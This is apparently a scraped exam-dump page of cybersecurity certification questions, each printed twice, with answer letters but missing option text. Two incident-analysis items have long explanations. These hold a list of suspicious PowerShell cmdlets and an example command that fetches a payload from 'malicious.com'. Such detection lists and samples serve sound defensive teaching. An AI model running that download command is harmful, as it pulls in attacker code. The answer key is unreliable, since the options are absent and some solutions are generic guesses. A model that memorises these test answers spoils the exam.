QUESTION NO: 1
Which of the following is the MOST effective approach for tracking vulnerabilities in an organization's systems and applications?
Which of the following is the MOST effective approach for tracking vulnerabilities in an organization's systems and applications?
Correct Answer: B
Vote an answer
Explanation: Only visible for Actual4test members. You can sign-up / login (it's free).
QUESTION NO: 2
Which of the following security practices is MOST effective in reducing system risk through system hardening?
Which of the following security practices is MOST effective in reducing system risk through system hardening?
Correct Answer: D
Vote an answer
Explanation: Only visible for Actual4test members. You can sign-up / login (it's free).
QUESTION NO: 3
Which of the following is MOST important for maintaining an effective risk management program?
Which of the following is MOST important for maintaining an effective risk management program?
Correct Answer: B
Vote an answer
Explanation: Only visible for Actual4test members. You can sign-up / login (it's free).
QUESTION NO: 4
Following a ransomware incident, the network teamprovided a PCAP file, titled ransom.pcap, located in theInvestigations folder on the Desktop.
What is the full User-Agent value associated with theransomware demand file download. Enter your responsein the field below.
Following a ransomware incident, the network teamprovided a PCAP file, titled ransom.pcap, located in theInvestigations folder on the Desktop.
What is the full User-Agent value associated with theransomware demand file download. Enter your responsein the field below.
Correct Answer:
See the solution in Explanation.
Explanation:
To identify thefull User-Agent valueassociated with theransomware demand file downloadfrom the ransom.pcapfile, follow these detailed steps:
Step 1: Access the PCAP File
* Log into the Analyst Desktop.
* Navigate to theInvestigationsfolder located on the desktop.
* Locate the file:
ransom.pcap
Step 2: Open the PCAP File in Wireshark
* LaunchWireshark.
* Open the PCAP file:
mathematica
File > Open > Desktop > Investigations > ransom.pcap
* ClickOpento load the file.
Step 3: Filter HTTP Traffic
Since ransomware demands are often served astext files (e.g., README.txt)via HTTP/S, use the following filter:
http.request or http.response
* This filter will show bothHTTP GETandPOSTrequests.
Step 4: Locate the Ransomware Demand File Download
* Look for HTTPGETrequests that include common ransomware filenames such as:
* README.txt
* DECRYPT_INSTRUCTIONS.html
* HELP_DECRYPT.txt
* Right-click on the suspicious HTTP packet and select:
arduino
Follow > HTTP Stream
* Analyze theHTTP headersto find theUser-Agent.
Example HTTP Request:
GET /uploads/README.txt HTTP/1.1
Host: 10.10.44.200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36 Step 5: Verify the User-Agent
* Check multiple streams to ensure consistency.
* Confirm that theUser-Agentbelongs to the same host(10.10.44.200)involved in the ransomware incident.
swift
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.
0.5414.75 Safari/537.36
Step 6: Document and Report
* Record the User-Agent for analysis:
* PCAP Filename:ransom.pcap
* User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
* Related File:README.txt
Step 7: Next Steps
* Forensic Analysis:
* Look for more HTTP requests from the sameUser-Agent.
* Monitor Network Activity:
* Identify other systems with the same User-Agent pattern.
* Block Malicious Traffic:
* Update firewall rules to block any outbound connections to suspicious domains.
Explanation:
To identify thefull User-Agent valueassociated with theransomware demand file downloadfrom the ransom.pcapfile, follow these detailed steps:
Step 1: Access the PCAP File
* Log into the Analyst Desktop.
* Navigate to theInvestigationsfolder located on the desktop.
* Locate the file:
ransom.pcap
Step 2: Open the PCAP File in Wireshark
* LaunchWireshark.
* Open the PCAP file:
mathematica
File > Open > Desktop > Investigations > ransom.pcap
* ClickOpento load the file.
Step 3: Filter HTTP Traffic
Since ransomware demands are often served astext files (e.g., README.txt)via HTTP/S, use the following filter:
http.request or http.response
* This filter will show bothHTTP GETandPOSTrequests.
Step 4: Locate the Ransomware Demand File Download
* Look for HTTPGETrequests that include common ransomware filenames such as:
* README.txt
* DECRYPT_INSTRUCTIONS.html
* HELP_DECRYPT.txt
* Right-click on the suspicious HTTP packet and select:
arduino
Follow > HTTP Stream
* Analyze theHTTP headersto find theUser-Agent.
Example HTTP Request:
GET /uploads/README.txt HTTP/1.1
Host: 10.10.44.200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36 Step 5: Verify the User-Agent
* Check multiple streams to ensure consistency.
* Confirm that theUser-Agentbelongs to the same host(10.10.44.200)involved in the ransomware incident.
swift
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.
0.5414.75 Safari/537.36
Step 6: Document and Report
* Record the User-Agent for analysis:
* PCAP Filename:ransom.pcap
* User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
* Related File:README.txt
Step 7: Next Steps
* Forensic Analysis:
* Look for more HTTP requests from the sameUser-Agent.
* Monitor Network Activity:
* Identify other systems with the same User-Agent pattern.
* Block Malicious Traffic:
* Update firewall rules to block any outbound connections to suspicious domains.
QUESTION NO: 5
When identifying vulnerabilities, which of the following should a cybersecurity analyst determine FIRST?
When identifying vulnerabilities, which of the following should a cybersecurity analyst determine FIRST?
Correct Answer: D
Vote an answer
Explanation: Only visible for Actual4test members. You can sign-up / login (it's free).
QUESTION NO: 6
Which of the following roles is responsible for approving exceptions to and deviations from the incident management team charter on an ongoing basis?
Which of the following roles is responsible for approving exceptions to and deviations from the incident management team charter on an ongoing basis?
Correct Answer: B
Vote an answer
Explanation: Only visible for Actual4test members. You can sign-up / login (it's free).
QUESTION NO: 7
Your enterprise SIEM system is configured to collect andanalyze log data from various sources. Beginning at12:00 AM on December 4, 2024, until 1:00 AM(Absolute), several instances of PowerShell arediscovered executing malicious commands andaccessing systems outside of their normal workinghours.
What is the physical address of the web server that wastargeted with malicious PowerShell commands?
Your enterprise SIEM system is configured to collect andanalyze log data from various sources. Beginning at12:00 AM on December 4, 2024, until 1:00 AM(Absolute), several instances of PowerShell arediscovered executing malicious commands andaccessing systems outside of their normal workinghours.
What is the physical address of the web server that wastargeted with malicious PowerShell commands?
Correct Answer:
See the solution in Explanation.
Explanation:
To determine the physical address of the targeted web server, follow thesestep-by-step instructionsto analyze the logs in your SIEM system. The goal is to identify malicious PowerShell activity targeting the web server during the specified time window (12:00 AM to 1:00 AM on December 4, 2024).
Step 1: Understand the Context
* Scenario:Your SIEM has detected suspicious PowerShell activities during off-hours (12:00 AM to 1:00 AM).
* Objective:Identify the physical (MAC) address of the web server targeted by the malicious PowerShell commands.
Step 2: Identify Relevant Log Sources
* Logs to investigate:
* PowerShell logs (Event ID 4104)for command execution.
* Windows Security Event Logsfor login and access attempts.
* Network Traffic Logs(firewall or IDS/IPS) to detect connections made by PowerShell.
* Web Server Access Logsfor any unusual requests.
SIEM Log Sources:
* Windows Event Logs (Sysmon/PowerShell)
* Firewall Logs
* IDS/IPS Alerts
* Web Server Logs (IIS, Apache)
Step 3: Use SIEM Filters to Isolate Relevant Events
* Time Frame Filter:
* Set the time range from12:00 AM to 1:00 AMonDecember 4, 2024.
* Event ID Filter:
* Filter forEvent ID 4104(PowerShell script block logging).
* Command Pattern:
* Look for suspicious commands like:
Invoke-WebRequest
Invoke-Expression (IEX)
New-Object Net.WebClient
* Process Name:
* Filter logs where theProcess Nameis powershell.exe.
Example SIEM Query:
index=windows_logs
| search EventID=4104 ProcessName="powershell.exe"
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, ProcessName, CommandLine, SourceIP, DestinationIP, MACAddress Step 4: Correlate Events with Network Logs
* Once you identify PowerShell events, correlate them withnetwork traffic logs.
* Focus on:
* Source IP Address: Where the PowerShell commands originated.
* Destination IP Address: Targeted web server.
* Use theIP address of the web serverto trace back theMAC address.
Example Network Log Query:
index=network_logs
| search DestinationIP="<Web_Server_IP>"
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, SourceIP, DestinationIP, MACAddress, Protocol, Port
Step 5: Analyze the PowerShell Commands
* Investigate the nature of the commands:
* Data Exfiltration:Using Invoke-WebRequest to send data to external IPs.
* Remote Code Execution:Using IEX to run downloaded scripts.
* Cross-check commands against knownIndicators of Compromise (IOCs).
Step 6: Validate the Web Server's Physical Address
* Identify theMAC addresscorresponding to the targeted web server.
* Cross-reference withARP tables or DHCP logsto confirm the mapping between IP and MAC address.
Example ARP Command on Windows:
arp -a | findstr <Web_Server_IP>
Step 7: Report the Findings
* Document the targeted server'sIP address and MAC address.
* Summarize the malicious activity:
* Commands executed
* Time and duration
* Source and destination IPs
Example Finding:
Web Server IP: 192.168.1.50
Physical (MAC) Address: 00:1A:2B:3C:4D:5E
Time of Attack: 12:30 AM, December 4, 2024
PowerShell
Command: Invoke-WebRequest -Uri "http://malicious.com/payload"
Step 8: Take Immediate Actions
* Isolate the affected server.
* Block external IPs involved.
* Terminate malicious PowerShell processes.
* Conduct a forensic analysis of compromised systems.
Step 9: Strengthen Security Post-Incident
* Implement PowerShell Logging:Enable detailed script block and module logging.
* Enhance Network Monitoring:Set up alerts for unusual PowerShell activities.
* User Behavior Analytics (UBA):Detect anomalous login patterns outside working hours.
Explanation:
To determine the physical address of the targeted web server, follow thesestep-by-step instructionsto analyze the logs in your SIEM system. The goal is to identify malicious PowerShell activity targeting the web server during the specified time window (12:00 AM to 1:00 AM on December 4, 2024).
Step 1: Understand the Context
* Scenario:Your SIEM has detected suspicious PowerShell activities during off-hours (12:00 AM to 1:00 AM).
* Objective:Identify the physical (MAC) address of the web server targeted by the malicious PowerShell commands.
Step 2: Identify Relevant Log Sources
* Logs to investigate:
* PowerShell logs (Event ID 4104)for command execution.
* Windows Security Event Logsfor login and access attempts.
* Network Traffic Logs(firewall or IDS/IPS) to detect connections made by PowerShell.
* Web Server Access Logsfor any unusual requests.
SIEM Log Sources:
* Windows Event Logs (Sysmon/PowerShell)
* Firewall Logs
* IDS/IPS Alerts
* Web Server Logs (IIS, Apache)
Step 3: Use SIEM Filters to Isolate Relevant Events
* Time Frame Filter:
* Set the time range from12:00 AM to 1:00 AMonDecember 4, 2024.
* Event ID Filter:
* Filter forEvent ID 4104(PowerShell script block logging).
* Command Pattern:
* Look for suspicious commands like:
Invoke-WebRequest
Invoke-Expression (IEX)
New-Object Net.WebClient
* Process Name:
* Filter logs where theProcess Nameis powershell.exe.
Example SIEM Query:
index=windows_logs
| search EventID=4104 ProcessName="powershell.exe"
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, ProcessName, CommandLine, SourceIP, DestinationIP, MACAddress Step 4: Correlate Events with Network Logs
* Once you identify PowerShell events, correlate them withnetwork traffic logs.
* Focus on:
* Source IP Address: Where the PowerShell commands originated.
* Destination IP Address: Targeted web server.
* Use theIP address of the web serverto trace back theMAC address.
Example Network Log Query:
index=network_logs
| search DestinationIP="<Web_Server_IP>"
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, SourceIP, DestinationIP, MACAddress, Protocol, Port
Step 5: Analyze the PowerShell Commands
* Investigate the nature of the commands:
* Data Exfiltration:Using Invoke-WebRequest to send data to external IPs.
* Remote Code Execution:Using IEX to run downloaded scripts.
* Cross-check commands against knownIndicators of Compromise (IOCs).
Step 6: Validate the Web Server's Physical Address
* Identify theMAC addresscorresponding to the targeted web server.
* Cross-reference withARP tables or DHCP logsto confirm the mapping between IP and MAC address.
Example ARP Command on Windows:
arp -a | findstr <Web_Server_IP>
Step 7: Report the Findings
* Document the targeted server'sIP address and MAC address.
* Summarize the malicious activity:
* Commands executed
* Time and duration
* Source and destination IPs
Example Finding:
Web Server IP: 192.168.1.50
Physical (MAC) Address: 00:1A:2B:3C:4D:5E
Time of Attack: 12:30 AM, December 4, 2024
PowerShell
Command: Invoke-WebRequest -Uri "http://malicious.com/payload"
Step 8: Take Immediate Actions
* Isolate the affected server.
* Block external IPs involved.
* Terminate malicious PowerShell processes.
* Conduct a forensic analysis of compromised systems.
Step 9: Strengthen Security Post-Incident
* Implement PowerShell Logging:Enable detailed script block and module logging.
* Enhance Network Monitoring:Set up alerts for unusual PowerShell activities.
* User Behavior Analytics (UBA):Detect anomalous login patterns outside working hours.
QUESTION NO: 8
How can port security protect systems on a segmented network?
How can port security protect systems on a segmented network?
Correct Answer: B
Vote an answer
Explanation: Only visible for Actual4test members. You can sign-up / login (it's free).
QUESTION NO: 9
Which of the following tactics is associated with application programming interface (API) requests that may result in bypassing access control checks?
Which of the following tactics is associated with application programming interface (API) requests that may result in bypassing access control checks?
Correct Answer: A
Vote an answer
Explanation: Only visible for Actual4test members. You can sign-up / login (it's free).
QUESTION NO: 10
A penetration tester has been hired and given access to all code, diagrams,and documentation. Which type oftesting is being conducted?
A penetration tester has been hired and given access to all code, diagrams,and documentation. Which type oftesting is being conducted?
Correct Answer: B
Vote an answer
Explanation: Only visible for Actual4test members. You can sign-up / login (it's free).